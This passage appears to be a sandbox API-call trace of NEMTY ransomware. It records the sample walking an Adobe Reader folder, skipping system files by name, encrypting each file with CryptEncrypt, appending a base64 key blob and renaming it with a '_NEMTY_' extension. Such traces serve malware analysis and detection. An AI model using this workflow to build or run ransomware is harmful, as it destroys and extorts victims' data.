dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0173.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0173.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0173.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0173.739] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SaveAsRTF.CAT", cAlternateFileName="SAVEAS~1.CAT")) returned 1 [0173.739] lstrcmpiW (lpString1="SaveAsRTF.CAT", lpString2=".") returned 1 [0173.739] lstrcmpiW (lpString1="SaveAsRTF.CAT", lpString2="..") returned 1 [0173.739] lstrcmpiW (lpString1="SaveAsRTF.CAT", lpString2="...") returned 1 [0173.739] lstrcmpiW (lpString1="SaveAsRTF.CAT", lpString2="windows") returned -1 [0173.739] lstrcmpiW (lpString1="SaveAsRTF.CAT", lpString2="$RECYCLE.BIN") returned 1 [0173.739] lstrcmpiW (lpString1="SaveAsRTF.CAT", lpString2="rsa") returned 1 [0173.739] lstrcmpiW (lpString1="SaveAsRTF.CAT", lpString2="NTDETECT.COM") returned 1 [0173.739] lstrcmpiW (lpString1="SaveAsRTF.CAT", lpString2="ntldr") returned 1 [0173.739] lstrcmpiW (lpString1="SaveAsRTF.CAT", lpString2="MSDOS.SYS") returned 1 [0173.739] lstrcmpiW (lpString1="SaveAsRTF.CAT", lpString2="IO.SYS") returned 1 [0173.739] lstrcmpiW (lpString1="SaveAsRTF.CAT", lpString2="boot.ini") returned 1 [0173.739] lstrcmpiW (lpString1="SaveAsRTF.CAT", lpString2="boot.ini") returned 1 [0173.739] lstrcmpiW (lpString1="SaveAsRTF.CAT", lpString2="AUTOEXEC.BAT") returned 1 [0173.739] lstrcmpiW (lpString1="SaveAsRTF.CAT", lpString2="ntuser.dat") returned 1 [0173.739] lstrcmpiW (lpString1="SaveAsRTF.CAT", lpString2="desktop.ini") returned 1 [0173.740] lstrcmpiW (lpString1="SaveAsRTF.CAT", lpString2="CONFIG.SYS") returned 1 [0173.740] lstrcmpiW (lpString1="SaveAsRTF.CAT", lpString2="RECYCLER") returned 1 [0173.740] lstrcmpiW (lpString1="SaveAsRTF.CAT", lpString2="BOOTSECT.BAK") returned 1 [0173.740] lstrcmpiW (lpString1="SaveAsRTF.CAT", lpString2="bootmgr") returned 1 [0173.740] lstrcmpiW (lpString1="SaveAsRTF.CAT", lpString2="programdata") returned 1 [0173.740] lstrcmpiW (lpString1="SaveAsRTF.CAT", lpString2="appdata") returned 1 [0173.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.CAT", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0173.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.CAT", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.CAT", lpUsedDefaultChar=0x0) returned 13 [0173.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.CAT", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0173.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.CAT", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.CAT", lpUsedDefaultChar=0x0) returned 13 [0173.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.CAT", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0173.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.CAT", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.CAT", lpUsedDefaultChar=0x0) returned 13 [0173.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.CAT", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0173.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.CAT", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.CAT", lpUsedDefaultChar=0x0) returned 13 [0173.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0173.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0173.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0173.740] Sleep (dwMilliseconds=0x5) [0173.750] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b35d770, dwHighDateTime=0x1d561e8)) [0173.750] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b35d770, dwHighDateTime=0x1d561e8)) [0173.750] GetLastError () returned 0x0 [0173.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.751] GetLastError () returned 0x0 [0173.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.751] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0173.751] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0173.751] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0173.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0173.751] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="uGxZGvus26DlN1yqbcbxPyBt6OUPVfkybRZ5bYC+Ey+Ck6AELReOoCv6dhDou8A6\r\nY14kA6gZZJRCm8il0jUIRx96xK5JrSvUtylhpHEAZhsMRscwlCejBrsf4ic9B/sL\r\nnXOSL1AvhtDmtVkAsOgzOnooyXLRLr0XffhwQ64h5efKgA/DE9OCWrkKqgnjvS7q\r\nZY32OuL/ENdXeWCVz3hV3HLgcGqVi0TKT14YOpoLw89XFCRZgYgy5ixDBGQ4I1+H\r\nUKfM2IoNX2VJnsuxMrCWPCgEEZ28eXs/sMNTA67uEO94r1X84gYEgVmlDgymypRP\r\nI4IMPaeS98d4YFrFRRrEhA==\r\n", pcchString=0x653e5dc) returned 1 [0173.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0173.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0173.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0173.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0173.751] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\SaveAsRTF.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\saveasrtf.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0173.752] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=19456) returned 1 [0173.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4c00) returned 0x6352c48 [0173.752] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.752] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4c00, lpOverlapped=0x0) returned 1 [0173.755] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.755] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4c00, lpOverlapped=0x0) returned 1 [0173.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0173.755] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=19456, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4c00 [0173.755] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0173.755] CloseHandle (hObject=0x2e8) returned 1 [0173.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0173.755] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.756] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0173.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0173.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0173.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.756] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\SaveAsRTF.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\saveasrtf.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\SaveAsRTF.CAT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\saveasrtf.cat._nemty_kgobjgd_")) returned 1 [0173.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0173.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0173.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0173.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0173.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0173.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.756] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Search.CAT", cAlternateFileName="")) returned 1 [0173.756] lstrcmpiW (lpString1="Search.CAT", lpString2=".") returned 1 [0173.756] lstrcmpiW (lpString1="Search.CAT", lpString2="..") returned 1 [0173.756] lstrcmpiW (lpString1="Search.CAT", lpString2="...") returned 1 [0173.757] lstrcmpiW (lpString1="Search.CAT", lpString2="windows") returned -1 [0173.757] lstrcmpiW (lpString1="Search.CAT", lpString2="$RECYCLE.BIN") returned 1 [0173.757] lstrcmpiW (lpString1="Search.CAT", lpString2="rsa") returned 1 [0173.757] lstrcmpiW (lpString1="Search.CAT", lpString2="NTDETECT.COM") returned 1 [0173.757] lstrcmpiW (lpString1="Search.CAT", lpString2="ntldr") returned 1 [0173.757] lstrcmpiW (lpString1="Search.CAT", lpString2="MSDOS.SYS") returned 1 [0173.757] lstrcmpiW (lpString1="Search.CAT", lpString2="IO.SYS") returned 1 [0173.757] lstrcmpiW (lpString1="Search.CAT", lpString2="boot.ini") returned 1 [0173.757] lstrcmpiW (lpString1="Search.CAT", lpString2="boot.ini") returned 1 [0173.757] lstrcmpiW (lpString1="Search.CAT", lpString2="AUTOEXEC.BAT") returned 1 [0173.757] lstrcmpiW (lpString1="Search.CAT", lpString2="ntuser.dat") returned 1 [0173.757] lstrcmpiW (lpString1="Search.CAT", lpString2="desktop.ini") returned 1 [0173.757] lstrcmpiW (lpString1="Search.CAT", lpString2="CONFIG.SYS") returned 1 [0173.757] lstrcmpiW (lpString1="Search.CAT", lpString2="RECYCLER") returned 1 [0173.757] lstrcmpiW (lpString1="Search.CAT", lpString2="BOOTSECT.BAK") returned 1 [0173.757] lstrcmpiW (lpString1="Search.CAT", lpString2="bootmgr") returned 1 [0173.757] lstrcmpiW (lpString1="Search.CAT", lpString2="programdata") returned 1 [0173.757] lstrcmpiW (lpString1="Search.CAT", lpString2="appdata") returned 1 [0173.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.CAT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0173.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.CAT", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.CAT", lpUsedDefaultChar=0x0) returned 10 [0173.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.CAT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0173.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.CAT", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.CAT", lpUsedDefaultChar=0x0) returned 10 [0173.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.CAT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0173.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.CAT", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.CAT", lpUsedDefaultChar=0x0) returned 10 [0173.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.CAT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0173.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.CAT", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.CAT", lpUsedDefaultChar=0x0) returned 10 [0173.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.758] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0173.758] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.758] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0173.758] Sleep (dwMilliseconds=0x5) [0173.798] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b3cfb90, dwHighDateTime=0x1d561e8)) [0173.798] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b3cfb90, dwHighDateTime=0x1d561e8)) [0173.798] GetLastError () returned 0x0 [0173.798] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.798] GetLastError () returned 0x0 [0173.798] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.798] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.798] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0173.798] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0173.798] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0173.798] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0173.798] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="kTlXKu+BmEVro8hyL/UnrGw1+yzvlE0bne70Fw/ncTgIPFbw25+96TyTL6uxesjp\r\nCF21epGI521sc3CwRoaI5X8vd3Kt5rXD33JR9CCuVPx+V4qmdvPOnyq12TIVONw1\r\n7Yk9MCVXeMZiEUHR5Y78XOADV3s/+XJTimh1+XAXfXqmjEA4O5kz3DdB94tnVmGX\r\n9/LHWDt/IVMm53/Bv/MS43SKuf+aWylmiLjJBlXM7CqseeJB3V870hfyllP0VpVH\r\nE2pefUGInpk6Qr+NdMLDKL+i1jTIwEKbIP/+mYdcKKyCaToMfgnXm1t5Bs5noy5L\r\nevTh2aEQiqPeKJrSx836eA==\r\n", pcchString=0x653e5dc) returned 1 [0173.798] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0173.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.798] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0173.798] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0173.798] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0173.798] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Search.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\search.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0173.806] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=24576) returned 1 [0173.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6000) returned 0x6352c48 [0173.806] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.806] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6000, lpOverlapped=0x0) returned 1 [0173.809] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.809] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6000, lpOverlapped=0x0) returned 1 [0173.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0173.809] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=24576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6000 [0173.809] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0173.810] CloseHandle (hObject=0x2e8) returned 1 [0173.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0173.810] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.810] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0173.810] 